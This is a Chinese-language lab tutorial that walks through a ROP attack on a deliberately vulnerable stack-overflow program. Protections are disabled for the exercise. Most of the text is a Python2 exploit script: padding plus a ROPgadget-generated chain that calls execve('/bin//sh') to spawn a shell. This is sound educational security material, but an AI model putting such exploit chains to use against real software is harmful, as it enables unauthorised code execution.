使用ROP攻击利用栈溢出漏洞
环境:ubuntu16.04, gcc, python2.7
说明:为了成功实现Return2LibC攻击,这里关闭了可执行栈、关闭了StackGuard、关闭了地址随机化,终极目标是执行 system("/bin/sh")
⭐️⭐️注意⭐️⭐️:这是承接上一篇文章使用Return2LibC利用栈溢出漏洞的,栈溢出漏洞程序和上一篇相同
1. 安装ROPgadget
对于ubuntu16.04,默认安装了python2,只需要安装pip即可,然后再安装ROPgadget依赖capstone,就能顺利安装ROPgadget了,命令如下:
sudoapt-get install python-pip
sudopip install capstone
sudopip install ROPgadget
2. 实现ROP攻击
homework2测试程序来自这篇文章
安装好之后就直接使用ROPgadget分析homework2,但是会提示Can’t find the ‘mov dword ptr[r32], r32’ gadget,说明缺少代码块,如下图所示。
由于代码段太少了,我们进行静态编译,将库函数都直接编译进可执行文件中。
gcc -fno-stack-protector -z noexecstack -static -o homework2 homework2.c
再使用ROPgadget分析一下测试程序,成功生成了gadget链
生成了gadget链之后,我们还需要做一些padding,由上一次return2libc实验可以知道,想覆盖[esp+4]需要预先填充37个字节,于是padding后的代码如下:
#/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
for i in range(37):
p += pack('<B', 0xaa)
p += pack('<I', 0x0806f1db) # pop edx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080b8c86) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08054a9b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f1db) # pop edx ; ret
p += pack('<I', 0x080eb064) # @ .data + 4
p += pack('<I', 0x080b8c86) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08054a9b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f1db) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080494a3) # xor eax, eax ; ret
p += pack('<I', 0x08054a9b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080df505) # pop ecx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x0806f1db) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080494a3) # xor eax, eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0806cde5) # int 0x80
badfile = open("badfile", "wb")
badfile.write(p)
badfile.close()
运行上述脚本就能得到我们的badfile,如下图(注意使用python2执行)
然后再运行测试程序,就成功实现了ROP攻击,获得了一个shell